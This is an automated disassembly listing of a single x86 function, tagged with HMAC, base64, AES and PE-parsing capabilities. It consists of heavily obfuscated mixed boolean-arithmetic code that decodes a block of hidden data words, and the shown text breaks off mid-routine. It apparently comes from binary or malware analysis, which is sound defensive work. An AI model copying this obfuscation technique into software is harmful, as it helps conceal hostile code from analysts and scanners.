Function at 0x40fa20
Capabilities:
Authenticate hmac
Encode data using base64
Encrypt data using aes mixcolumns step
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x78
mov dword [ebp - 0x84], ecx
cmp dword [0x4787e8], 0
jne 0x41867c
mov ax, word [0x4754a0]
mov cx, ax
xor cx, 0x8095
mov dx, cx
xor dx, 0xffff
and dx, 0xe0e3
and cx, 0x1f1c
or dx, cx
xor dx, 0x1f1c
or dx, 0x7f6a
add dx, 0x8096
shl dx, 1
sub dx, 0x8095
sub ax, dx
mov word [0x4756a0], ax
mov si, word [0x4754a2]
mov ax, si
xor ax, 0xffff
mov cx, si
xor cx, 0xffff
xor cx, 0xffff
mov dx, ax
xor dx, cx
and dx, ax
xor dx, 0xffff
and dx, 0x8615
mov ax, si
xor ax, 0xffff
and ax, 0x79ea
or si, 0x8615
xor si, 0xffff
or ax, si
xor ax, 0xffff
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and ax, 0xffff
or ax, 0
mov si, dx
xor si, 0xffff
xor dx, 0xffff
and si, dx
or ax, ax
xor ax, 0xffff
xor si, 0xffff
xor ax, 0xffff
and si, ax
mov word [0x4756a2], si
mov si, word [0x4754a4]
mov cx, si
xor cx, 0xffff
mov dx, si
xor dx, 0xffff
xor dx, 0xffff
mov ax, cx
xor ax, dx
and ax, cx
xor ax, 0xffff
and ax, 0xae66
mov dx, si
xor dx, 0xffff
and dx, 0x6403
and si, 0x9bfc
or dx, si
xor dx, 0x9bfc
and dx, 0x5199
mov si, ax
xor si, 0xffff
mov cx, dx
xor cx, 0xffff
and si, cx
xor ax, 0xffff
xor dx, 0xffff
and ax, dx
xor si, 0xffff
xor ax, 0xffff
and si, ax
xor si, 0xffff
mov word [0x4756a4], si
mov dx, word [0x4754a6]
mov ax, dx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
mov cx, ax
xor cx, 0x2cd8
xor cx, 0xffff
or ax, 0x2cd8
and ax, cx
and dx, 0xd327
mov cx, dx
xor cx, 0xffff
mov si, ax
and si, cx
mov cx, ax
xor cx, dx
add ax, cx
sub ax, si
mov word [0x4756a6], ax
mov ax, word [0x4754a8]
xor ax, 0xa303
mov word [0x4756a8], ax
mov ax, word [0x4754aa]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
and dx, 0x2bb3
xor dx, 0xffff
xor ax, 0xffff
or ax, 0x2bb3
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x4756aa], dx
mov dx, word [0x4754ac]
mov si, dx
xor si, 0xffff
mov ax, si
xor ax, 0xffff
or ax, 0xd35
xor si, 0xffff
or si, 0xd35
xor ax, 0xffff
xor si, 0xffff
or ax, si
and dx, 0xd35
mov cx, dx
and cx, ax
xor cx, 0xffff
add ax, dx
add ax, 1
add ax, cx
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
and dx, 0x35a4
xor dx, 0xffff
and ax, 0xca5b
xor ax, 0xffff
and dx, ax
xor dx, 0xffff
mov word [0x4756ac], dx
mov ax, word [0x4754ae]
xor ax, 0xddee
mov word [0x4756ae], ax
mov ax, word [0x4754b0]
xor ax, 0x3ee5
mov word [0x4756b0], ax
mov ax, word [0x4754b2]
mov cx, ax
and cx, 0xffff
shl cx, 1
mov dx, ax
add dx, 0xffff
sub dx, cx
and dx, 0x48e3
and ax, 0xb71c
or dx, ax
mov word [0x4756b2], dx
mov ax, word [0x4754b4]
mov dx, ax
and dx, 0x33b
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0x33b
sub ax, dx
mov word [0x4756b4], ax
mov ax, word [0x4754b6]
mov cx, ax
xor cx, 0xffff
and cx, 0x990
and ax, 0xf66f
or cx, ax
xor cx, 0x6e39
mov word [0x4756b6], cx
mov ax, word [0x4754b8]
mov cx, ax
xor cx, 0xffff
and cx, 0x4a15
and ax, 0xb5ea
or cx, ax
mov word [0x4756b8], cx
mov ax, word [0x4754ba]
xor ax, 0xa8af
mov word [0x4756ba], ax
mov ax, word [0x4754bc]
mov dx, ax
and dx, dx
xor dx, 0xffff
xor dx, 0xffff
or dx, 0xa9b5
and ax, 0xa9b5
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x4756bc], dx
mov ax, word [0x4754be]
xor ax, 0xfef0
mov word [0x4756be], ax
mov ax, word [str.ps_rX_vbQ]
xor ax, 0x727d
mov word [0x4756c0], ax
mov ax, word [0x4754c2]
mov cx, ax
and cx, 0x5900
shl cx, 1
add ax, 0x5900
sub ax, cx
mov word [0x4756c2], ax
mov ax, word [0x4754c4]
mov dx, ax
xor dx, 0xffff
or dx, 0x9cf9
mov cx, ax
xor cx, 0xffff
or cx, 0x9cf9
and dx, cx
xor dx, 0xffff
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0x6306
sub ax, dx
mov word [0x4756c4], ax
mov ax, word [0x4754c6]
mov dx, ax
and dx, dx
xor dx, 0xffff
and dx, 0xc02b
xor dx, 0xffff
and ax, 0x3fd4
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x4756c6], dx
mov ax, word [0x4754c8]
mov cx, ax
and cx, 0xab9f
shl cx, 1
add ax, 0xab9f
sub ax, cx
mov word [0x4756c8], ax
mov ax, word [0x4754ca]
xor ax, 0x15bc
mov word [0x4756ca], ax
mov ax, word [0x4754cc]
xor ax, 0xf845
mov word [0x4756cc], ax
mov ax, word [0x4754ce]
mov cx, ax
and cx, 0x69cd
shl cx, 1
add ax, 0x69cd
sub ax, cx
mov word [0x4756ce], ax
mov dx, word [0x4754d0]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
and ax, cx
mov cx, ax
and cx, 0xffff
shl cx, 1
add ax, 0xffff
sub ax, cx
and ax, 0xfd8d
xor dx, 0xffff
and dx, 0x272
xor ax, 0xffff
xor dx, 0xffff
mov cx, ax
add cx, 1
xor ax, 0xffff
or ax, dx
add ax, cx
mov word [0x4756d0], ax
mov ax, word [0x4754d2]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
and dx, cx
or dx, 0xe0d6
xor dx, 0xffff
or ax, 0x1f29
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x4756d2], dx
mov ax, word [0x4754d4]
mov cx, ax
xor cx, 0x6359
xor cx, 0xffff
and cx, 0x6359
shl cx, 1
sub cx, 0x6359
sub ax, cx
mov word [0x4756d4], ax
mov ax, word [0x4754d6]
xor ax, 0x46c9
mov word [0x4756d6], ax
mov ax, word [0x4754d8]
xor ax, 0x2527
mov word [0x4756d8], ax
mov dx, word [0x4754da]
mov ax, dx
xor ax, 0xffff
and ax, 0xac64
mov cx, dx
xor cx, 0x539b
xor cx, 0xffff
or dx, 0x539b
and dx, cx
or ax, dx
xor ax, 0x5f10
mov word [0x4756da], ax
mov ax, word [0x4754dc]
xor ax, 0xc2b1
mov word [0x4756dc], ax
mov ax, word [0x4754de]
mov dx, ax
and dx, 0xc198
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0xc198
mov cx, ax
xor cx, 0xffff
and cx, dx
xor dx, 0xffff
and ax, dx
sub ax, cx
mov word [0x4756de], ax
mov ax, word [0x4754e0]
mov cx, ax
xor cx, 0xffff
and cx, 0xda81
and ax, 0x257e
or cx, ax
mov word [0x4756e0], cx
mov ax, word [0x4754e2]
mov cx, ax
xor cx, 0x6e71
xor cx, 0xffff
and cx, 0x6e71
shl cx, 1
sub cx, 0x6e71
sub ax, cx
mov word [0x4756e2], ax
mov ax, word [0x4754e4]
xor ax, 0xaca6
mov word [0x4756e4], ax
mov cx, word [0x4754e6]
mov ax, cx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
and ax, 0x3436
and cx, 0xcbc9
or ax, cx
mov cx, ax
xor cx, 0x7dc5
xor cx, 0xffff
and cx, 0x7dc5
shl cx, 1
sub cx, 0x7dc5
sub ax, cx
mov word [0x4756e6], ax
mov ax, word [0x4754e8]
xor ax, 0x4225
mov word [0x4756e8], ax
mov ax, word [0x4754ea]
mov cx, ax
xor cx, 0xffff
mov dx, cx
and dx, 0x1747
xor dx, 0xffff
and cx, 0x1747
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
xor ax, 0xffff
or ax, 0x1747
xor ax, 0xffff
and ax, 0xffff
or dx, ax
mov word [0x4756ea], dx
mov ax, word [0x4754ec]
xor ax, 0x5c3d
mov word [0x4756ec], ax
mov ax, word [0x4754ee]
mov dx, ax
xor dx, 0x5fdc
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub dx, cx
and dx, 0x5fdc
shl dx, 1
sub dx, 0x5fdc
xor dx, 0xffff
add ax, dx
add ax, 1
mov word [0x4756ee], ax
mov ax, word [0x4754f0]
xor ax, 0x7cf5
mov word [0x4756f0], ax
mov ax, word [0x4754f2]
xor ax, 0x41d6
mov word [0x4756f2], ax
mov ax, word [0x4754f4]
xor ax, 0xf1e8
mov word [0x4756f4], ax
mov ax, word [0x4754f6]
xor ax, 0x31de
mov word [0x4756f6], ax
mov dx, word [0x4754f8]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
and ax, cx
or ax, 0xbdfb
xor ax, 0xffff
xor dx, 0xffff
and dx, 0xbdfb
or ax, dx
xor ax, 0xffff
mov word [0x4756f8], ax
mov ax, word [0x4754fa]
mov cx, ax
and cx, 0xffff
shl cx, 1
mov dx, ax
add dx, 0xffff
sub dx, cx
and dx, 0x9df4
and ax, 0x620b
mov cx, dx
and cx, ax
xor dx, ax
or cx, dx
mov word [0x4756fa], cx
mov ax, word [0x4754fc]
mov cx, ax
and cx, 0x1f87
shl cx, 1
add ax, 0x1f87
sub ax, cx
mov word [0x4756fc], ax
mov ax, word [0x4754fe]
mov cx, ax
and cx, 0xc4da
shl cx, 1
add ax, 0xc4da
sub ax, cx
mov word [0x4756fe], ax
mov ax, word [0x475500]
mov cx, ax
xor cx, 0xffff
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
and dx, cx
or dx, 0xe905
xor dx, 0xffff
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xe905
or dx, ax
mov word [0x475700], dx
mov ax, word [0x475502]
mov cx, ax
xor cx, 0xffff
and cx, 0xb349
and ax, 0x4cb6
or cx, ax
mov word [0x475702], cx
mov ax, word [0x475504]
xor ax, 0xaeb7
mov word [0x475704], ax
mov ax, word [0x475506]
mov dx, ax
or dx, dx
xor dx, 0xffff
or dx, 0x16f3
xor dx, 0xffff
or ax, 0xe90c
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x475706], dx
mov ax, word [0x475508]
xor ax, 0x635
mov word [0x475708], ax
mov dx, word [0x47550a]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
and ax, 0xe1f1
xor ax, 0xffff
xor dx, 0xffff
or dx, 0xe1f1
and ax, dx
xor ax, 0xffff
mov word [0x47570a], ax
mov ax, word [0x47550c]
mov dx, ax
or dx, dx
xor dx, 0xffff
or dx, 0x3eb0
xor dx, 0xffff
xor ax, 0xffff
and ax, 0x3eb0
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x47570c], dx
mov ax, word [0x47550e]
mov cx, ax
xor cx, 0xffff
and cx, 0x25d0
and ax, 0xda2f
or cx, ax
xor cx, 0xc6d7
mov word [0x47570e], cx
mov ax, word [0x475510]
mov cx, ax
xor cx, 0xffff
and cx, 0x1edf
and ax, 0xe120
or cx, ax
xor cx, 0xf294
mov word [0x475710], cx
mov ax, word [0x475512]
xor ax, 0x357
mov word [0x475712], ax
mov ax, word [0x475514]
xor ax, 0x8be
mov word [0x475714], ax
mov ax, word [0x475516]
mov cx, ax
xor cx, 0xffff
and cx, 0x93e8
and ax, 0x6c17
or cx, ax
xor cx, 0xf1d2
mov word [0x475716], cx
mov ax, word [0x475518]
mov cx, ax
xor cx, 0xffff
and cx, 0x7c82
and ax, 0x837d
or cx, ax
mov word [0x475718], cx
mov dx, word [0x47551a]
mov ax, dx
or ax, ax
xor ax, 0xffff
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
or ax, 0
xor ax, 0xffff
and ax, 0xdbf4
xor dx, 0xffff
and dx, 0x240b
or ax, dx
mov cx, ax
xor cx, 0xffff
and cx, 0xb0cd
and ax, 0x4f32
or cx, ax
xor cx, 0x4f32
mov word [0x47571a], cx
mov dx, word [0x47551c]
mov ax, dx
and ax, ax
xor ax, 0xffff
and ax, 0x595d
mov cx, ax
and cx, 0xffff
shl cx, 1
add ax, 0xffff
sub ax, cx
and dx, 0xa6a2
mov si, dx
xor si, 0xffff
xor dx, 0xffff
or si, dx
xor si, 0xffff
or si, 0
xor si, 0xffff
or si, 0
mov cx, ax
add cx, 1
xor ax, 0xffff
or ax, si
add ax, cx
xor ax, 0xffff
mov word [0x47571c], ax
mov ax, word [0x47551e]
xor ax, 0x9b45
mov word [0x47571e], ax
mov si, word [0x475520]
mov dx, si
xor dx, 0xffff
and dx, 0xff24
mov ax, si
xor ax, 0xffff
or ax, 0xff24
and si, 0xdb
xor si, 0xffff
xor ax, 0xffff
xor si, 0xffff
or ax, si
mov si, dx
xor si, 0xffff
xor dx, 0xffff
or si, dx
and ax, ax
xor ax, 0xffff
and si, ax
xor si, 0xffff
mov word [0x475720], si
mov dx, word [0x475522]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
xor ax, 0xffff
or ax, 0x1979
xor dx, 0xffff
or dx, 0xe686
and ax, dx
xor ax, 0xffff
mov word [0x475722], ax
mov ax, word [0x475524]
mov cx, ax
and cx, 0x11cf
shl cx, 1
add ax, 0x11cf
sub ax, cx
mov word [0x475724], ax
mov si, word [0x475526]
mov ax, si
xor ax, 0xffff
and ax, 0x1713
and si, 0xe8ec
mov dx, ax
xor dx, 0xffff
mov cx, si
xor cx, 0xffff
and dx, cx
or ax, si
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
xor dx, 0xa048
mov word [0x475726], dx
mov ax, word [0x475528]
mov cx, ax
xor cx, 0x6936
mov dx, cx
xor dx, 0xffff
and dx, 0xa82a
and cx, 0x57d5
or dx, cx
xor dx, 0x57d5
and dx, 0x6936
shl dx, 1
sub dx, 0x6936
sub ax, dx
mov word [0x475728], ax
mov ax, word [0x47552a]
mov cx, ax
or cx, cx
xor cx, 0xffff
mov dx, cx
xor dx, 0xffff
and dx, 0x28c2
and cx, 0xd73d
or dx, cx
xor dx, 0xd73d
and dx, 0x17e0
or ax, 0x17e0
xor ax, 0xffff
mov si, dx
xor si, 0xffff
mov bx, ax
xor bx, 0xffff
mov di, si
and di, 0x533c
and dx, 0xacc3
mov cx, bx
and cx, 0x533c
and ax, 0xacc3
or di, dx
or cx, ax
xor di, cx
or si, bx
xor si, 0xffff
and si, 0xffff
or di, si
xor di, 0xffff
mov word [0x47572a], di
mov dx, word [0x47552c]
mov ax, dx
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xf6f
xor dx, 0xffff
and dx, 0xf090
or ax, dx
xor ax, 0xffff
mov word [0x47572c], ax
mov ax, word [0x47552e]
mov cx, ax
xor cx, 0xffff
and cx, 0x5d87
and ax, 0xa278
or cx, ax
xor cx, 0x8191
mov word [0x47572e], cx
mov ax, word [str.Gfr2g_5]
xor ax, 0x6752
mov word [0x475730], ax
mov ax, word [0x475532]
xor ax, 0x3367
mov word [0x475732], ax
mov ax, word [0x475534]
xor ax, 0x3f72
mov word [0x475734], ax
mov dx, word [0x475536]
mov ax, dx
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0xffdf
and dx, 0xffdf
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
mov word [0x475736], ax
mov dx, word [0x475538]
mov cx, dx
add cx, 1
mov ax, dx
xor ax, 0xffff
or ax, dx
add ax, cx
mov cx, ax
and cx, 0xffff
shl cx, 1
add ax, 0xffff
sub ax, cx
mov cx, ax
and cx, 0xffff
shl cx, 1
add ax, 0xffff
sub ax, cx
or ax, 0x6957
and dx, 0x6957
xor dx, 0xffff
xor ax, 0xffff
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
and ax, 0xffff
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
or ax, 0
xor ax, 0xffff
mov word [0x475738], ax
mov ax, word [0x47553a]
xor ax, 0x6cae
mov word [0x47573a], ax
mov dx, word [0x47553c]
mov ax, dx
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0x882b
xor dx, 0xffff
or dx, 0x77d4
and ax, dx
xor ax, 0xffff
mov word [0x47573c], ax
mov ax, word [0x47553e]
mov cx, ax
xor cx, 0xffff
and cx, 0xd0e3
and ax, 0x2f1c
or cx, ax
xor cx, 0x3fe9
mov word [0x47573e], cx
mov ax, word [0x475540]
mov dx, ax
and dx, 0xf4b7
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0xf4b7
sub ax, dx
mov word [0x475740], ax
mov ax, word [0x475542]
xor ax, 0x5030
mov word [0x475742], ax
mov ax, word [0x475544]
mov cx, ax
xor cx, 0xffff
and cx, 0x6cf8
and ax, 0x9307
or cx, ax
mov word [0x475744], cx
mov ax, word [0x475546]
mov cx, ax
xor cx, 0xffff
and cx, 0x83a1
and ax, 0x7c5e
or cx, ax
xor cx, 0x97b7
mov word [0x475746], cx
mov ax, word [0x475548]
mov cx, ax
xor cx, 0xffff
and cx, 0xb21
and ax, 0xf4de
or cx, ax
mov word [0x475748], cx
mov ax, word [0x47554a]
xor ax, 0x7fe9
mov word [0x47574a], ax
mov ax, word [0x47554c]
xor ax, 0xcd87
mov word [0x47574c], ax
mov ax, word [0x47554e]
mov cx, ax
and cx, 0x9dcc
shl cx, 1
add ax, 0x9dcc
sub ax, cx
mov word [0x47574e], ax
mov ax, word [0x475550]
mov cx, ax
xor cx, 0xffff
and cx, 0x1f5d
and ax, 0xe0a2
or cx, ax
xor cx, 0x19fe
mov word [0x475750], cx
mov ax, word [0x475552]
mov dx, ax
xor dx, 0xffff
and dx, 0x1265
mov cx, ax
and cx, 0xed9a
or dx, cx
xor dx, 0xffff
and dx, 0xffff
or dx, 0
and dx, 0x1265
shl dx, 1
mov cx, dx
xor cx, 0x1265
and dx, 0xed9a
shl dx, 1
sub dx, cx
sub ax, dx
mov word [0x475752], ax
mov dx, word [0x475554]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
and ax, 0x58c4
xor ax, 0xffff
xor dx, 0xffff
or dx, 0x58c4
and ax, dx
xor ax, 0xffff
mov word [0x475754], ax
mov ax, word [0x475556]
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
mov dx, ax
sub dx, cx
mov cx, ax
xor cx, 0xffff
and dx, cx
or dx, 0xda04
xor dx, 0xffff
or ax, 0x25fb
xor ax, 0xffff
or dx, ax
xor dx, 0xffff
mov word [0x475756], dx
mov ax, word [0x475558]
mov cx, ax
xor cx, 0xffff
mov dx, ax
xor dx, cx
and dx, ax
xor dx, 0xffff
xor dx, 0xffff
or dx, 0x8785
xor ax, 0xffff
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0x787a
and dx, ax
xor dx, 0xffff
mov word [0x475758], dx
mov ax, word [0x47555a]
mov cx, ax
and cx, 0xffff
shl cx, 1
mov dx, ax
add dx, 0xffff
sub dx, cx
mov cx, ax
xor cx, 0xffff
or dx, cx
and dx, 0x334d
xor dx, 0xffff
xor ax, 0xffff
and ax, 0xffff
or ax, 0
or ax, 0x334d
xor dx, 0xffff
and ax, ax
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
mov cx, dx
and cx, ax
xor dx, ax
or cx, dx
mov word [0x47575a], cx
mov dx, word [0x47555c]
mov ax, dx
and ax, 0x7f2c
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or cx, 0x80d3
xor ax, 0xffff
xor cx, 0xffff
or ax, cx
shl ax, 1
mov cx, dx
and cx, 0x7f2c
or dx, 0x7f2c
add cx, dx
sub cx, ax
mov word [0x47575c], cx
mov ax, word [0x47555e]
xor ax, 0xd4c7
mov word [0x47575e], ax
mov ax, word [0x475560]
xor ax, 0xa57e
mov word [0x475760], ax
mov ax, word [0x475562]
mov cx, ax
xor cx, 0xffff
and cx, 0x3099
and ax, 0xcf66
or cx, ax
xor cx, 0xf0ed
mov word [0x475762], cx
mov ax, word [0x475564]
xor ax, 0xc3c1
mov word [0x475764], ax
mov si, word [0x475566]
mov di, si
xor di, 0xffff
and di, 0xa917
and si, 0x56e8
mov dx, di
xor dx, 0xffff
mov bx, si
xor bx, 0xffff
mov ax, dx
and ax, 0x8266
and di, 0x7d99
mov cx, bx
and cx, 0x8266
and si, 0x7d99
or ax, di
or cx, si
xor ax, cx
or dx, bx
xor dx, 0xffff
and dx, 0xffff
or ax, dx
mov cx, ax
xor cx, 0xffff
and cx, 0x303
and ax, 0xfcfc
or cx, ax
xor cx, 0x8af7
mov word [0x475766], cx
mov dx, word [0x475568]
mov ax, dx
and ax, ax
xor ax, 0xffff
and ax, 0xcc6c
xor ax, 0xffff
xor dx, 0xffff
or dx, 0xcc6c
and ax, dx
xor ax, 0xffff
mov word [0x475768], ax
mov dx, word [0x47556a]
mov ax, dx
xor ax, 0xffff
and ax, 0x4a7e
mov cx, dx
and cx, 0xb581
or ax, cx
xor ax, 0xb581
and ax, 0xcccc
mov cx, dx
xor cx, 0xcccc
and cx, dx
or ax, cx
mov word [0x47576a], ax
mov ax, word [0x47556c]
xor ax, 0x7842
mov word [0x47576c], ax
mov dx, word [0x47556e]
mov ax, dx
xor ax, 0xffff
and ax, 0xa30d
and dx, 0x5cf2
and ax, ax
xor ax, 0xffff
and dx, dx
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
xor ax, 0xea02
mov word [0x47576e], ax
mov ax, word [0x475570]
xor ax, 0x4a78
mov word [0x475770], ax
mov ax, word [0x475572]
mov dx, ax
and dx, dx
xor dx, 0xffff
mov cx, dx
xor cx, 0xd2c0
xor cx, 0xffff
or dx, 0xd2c0
and dx, cx
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub dx, cx
and ax, 0x2d3f
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x475772], dx
mov ax, word [0x475574]
xor ax, 0x67a0
mov word [0x475774], ax
mov ax, word [0x475576]
xor ax, 0xb461
mov word [0x475776], ax
mov ax, word [str.BjR_]
xor ax, 0x6b55
mov word [0x475778], ax
mov cx, word [0x47557a]
mov ax, cx
xor ax, 0xffff
xor ax, 0xffff
xor ax, 0xed58
and ax, 0xed58
mov dx, cx
xor dx, 0xed58
and dx, cx
or ax, dx
mov cx, ax
and cx, 0xac1d
shl cx, 1
add ax, 0xac1d
sub ax, cx
mov word [0x47577a], ax
mov ax, word [0x47557c]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
and dx, cx
or dx, 0xcb0e
xor dx, 0xffff
xor ax, 0xffff
and ax, 0xcb0e
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x47577c], dx
mov ax, word [0x47557e]
mov cx, ax
xor cx, 0xf0f0
xor cx, 0xffff
and cx, 0xf0f0
shl cx, 1
sub cx, 0xf0f0
sub ax, cx
mov word [0x47577e], ax
mov ax, word [0x475580]
xor ax, 0x1e18
mov word [0x475780], ax
mov ax, word [0x475582]
xor ax, 0xd838
mov word [0x475782], ax
mov ax, word [0x475584]
mov si, ax
xor si, 0xffff
mov cx, ax
xor cx, 0xffff
or si, cx
xor si, 0xffff
and si, 0xffff
mov dx, si
xor dx, 0xffff
and dx, 0xfc6e
and si, 0x391
or dx, si
xor dx, 0x391
and dx, 0x4ffb
xor dx, 0xffff
and ax, 0xb004
xor ax, 0xffff
xor ax, 0xffff
mov cx, dx
xor cx, ax
and cx, dx
xor cx, 0xffff
mov word [0x475784], cx
mov ax, word [0x475586]
xor ax, 0x1b8d
mov word [0x475786], ax
mov ax, word [0x475588]
mov dx, ax
xor dx, 0x60fc
xor dx, 0xffff
xor dx, 0xffff
xor dx, 0x60fc
and dx, 0x60fc
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub dx, 0x60fc
add ax, 0x84c8
sub ax, dx
sub ax, 0x84c8
mov word [0x475788], ax
mov ax, word [0x47558a]
mov dx, ax
and dx, 0x5f2
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0x5f2
sub ax, dx
mov word [0x47578a], ax
mov ax, word [0x47558c]
mov cx, ax
xor cx, 0x5367
xor cx, 0xffff
and cx, 0x5367
shl cx, 1
sub cx, 0x5367
mov dx, ax
sub dx, cx
xor dx, 0xffff
or dx, 0xac98
add dx, 0x5368
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub dx, 0x5367
sub ax, dx
mov word [0x47578c], ax
mov dx, word [0x47558e]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
and ax, 0xffff
xor ax, 0xffff
xor ax, 0xffff
or ax, 0
and ax, 0x8399
and dx, 0x7c66
mov si, ax
xor si, 0xffff
mov cx, dx
xor cx, 0xffff
and si, cx
or ax, dx
xor ax, 0xffff
xor si, 0xffff
xor ax, 0xffff
and si, ax
mov word [0x47578e], si
mov ax, word [0x475590]
xor ax, 0x6408
mov word [0x475790], ax
mov ax, word [0x475592]
mov dx, ax
and dx, 0x927f
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0x927f
sub ax, dx
mov word [0x475792], ax
mov ax, word [0x475594]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
or dx, 0x75c8
and ax, 0x75c8
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x475794], dx
mov ax, word [0x475596]
xor ax, 0x8fe2
mov word [0x475796], ax
mov ax, word [0x475598]
mov cx, ax
xor cx, 0xffff
and cx, 0x1fec
and ax, 0xe013
or cx, ax
mov word [0x475798], cx
mov ax, word [0x47559a]
xor ax, 0x91b4
mov word [0x47579a], ax
mov ax, word [0x47559c]
xor ax, 0x869e
mov word [0x47579c], ax
mov ax, word [0x47559e]
mov cx, ax
and cx, 0xd344
shl cx, 1
add ax, 0xd344
sub ax, cx
mov word [0x47579e], ax
mov ax, word [0x4755a0]
xor ax, 0x8407
mov word [0x4757a0], ax
mov ax, word [str.B4_vN]
xor ax, 0x355b
mov word [0x4757a2], ax
mov ax, word [0x4755a4]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
and cx, 0x500a
mov si, ax
and si, 0xaff5
or cx, si
xor cx, 0xaff5
or dx, cx
and dx, 0x4f12
xor dx, 0xffff
and ax, 0xb0ed
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub ax, cx
xor dx, 0xffff
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
or dx, ax
mov word [0x4757a4], dx
mov ax, word [0x4755a6]
xor ax, 0xc4bb
mov word [0x4757a6], ax
mov ax, word [0x4755a8]
xor ax, 0xee3
mov word [0x4757a8], ax
mov dx, word [0x4755aa]
mov ax, dx
or ax, ax
xor ax, 0xffff
or ax, 0xea4b
xor ax, 0xffff
xor dx, 0xffff
and dx, 0xea4b
or ax, dx
xor ax, 0xffff
mov word [0x4757aa], ax
mov cx, word [0x4755ac]
mov ax, cx
xor ax, 0xffff
and ax, 0x3b42
and cx, 0xc4bd
or ax, cx
mov cx, ax
xor cx, 0xffff
and cx, 0xf1fa
and ax, 0xe05
or cx, ax
xor cx, 0x1ebe
mov word [0x4757ac], cx
mov dx, word [0x4755ae]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
and ax, 0xffff
xor ax, 0xffff
xor ax, 0xffff
or ax, 0
and ax, 0x468c
mov si, dx
xor si, 0xffff
or si, 0x468c
and dx, 0xb973
xor dx, 0xffff
and si, dx
xor si, 0xffff
or ax, si
xor ax, 0x5b15
mov word [0x4757ae], ax
mov ax, word [0x4755b0]
xor ax, 0xe4b6
mov word [0x4757b0], ax
mov dx, word [0x4755b2]
mov ax, dx
xor ax, 0xffff
mov cx, dx
